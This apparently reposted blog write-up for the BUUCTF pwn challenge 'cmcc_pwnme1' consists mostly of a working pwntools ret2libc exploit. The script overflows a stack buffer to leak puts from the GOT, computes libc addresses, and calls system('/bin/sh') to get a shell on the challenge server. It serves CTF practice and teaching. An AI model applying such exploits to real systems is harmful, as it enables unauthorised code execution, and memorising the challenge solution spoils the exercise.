其他分享
首页 > 其他分享> > cmcc_pwnme1

cmcc_pwnme1

作者:互联网

cmcc_pwnme1

查看保护
请添加图片描述
请添加图片描述
直接ret2libc吧。

from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 27421)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']

r.sendlineafter('>> 6. Exit    ', '5')
p1 = b'a' * (0xa4 + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(p1)

puts_addr = u32(r.recvuntil('\xf7')[-4:].ljust(4, b'\x00'))
success('puts_addr = ' + hex(puts_addr))

libc = ELF('libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

r.sendlineafter('>> 6. Exit    ', '5')
p2 = b'a' * (0xa4 + 4) + p32(system_addr) +  p32(0) + p32(bin_sh)
r.sendline(p2)

r.interactive()

标签:pwnme1,addr,puts,libc,cmcc,elf,file,p32
来源: https://blog.csdn.net/zzq487782568/article/details/122540059